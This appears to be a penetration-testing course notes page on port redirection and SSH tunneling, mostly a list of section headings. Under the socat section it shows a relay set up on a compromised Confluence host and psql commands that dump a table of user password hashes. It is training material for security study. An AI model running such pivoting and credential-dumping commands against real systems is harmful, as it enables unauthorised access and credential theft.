Module 18: Port Redirection and SSH Tunneling
Why Port Redirection and Tunneling?
Port Forwarding with Linux Tools
A Simple Port Forwarding Scenario
Setting Up the Lab Environment
Port Forwarding with Socat
confluence@confluence01:/opt/atlassian/confluence/bin$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432kali@kali:~$ psql -h 192.168.50.63 -p 2345 -U postgres
# Now that we're connected, list the databases
postgres=# \l
# Connect to the database
postgres=# \c confluence
# Grab everything from the cwd_user table which contains the username and password hashes for all Confluence users
postgres=# select * from cwd_user;SSH Tunneling
SSH Local Port Forwarding
SSH Dynamic Port Forwarding
SSH Remote Port Forwarding
SSH Remote Dynamic Port Forwarding
Using sshuttle
Port Forwarding with Windows Tools
ssh.exe
Plink
Netsh
PreviousModule 17: Linux Privilege EscalationNextModule 19: Tunneling Through Deep Packet Inspection
Last updated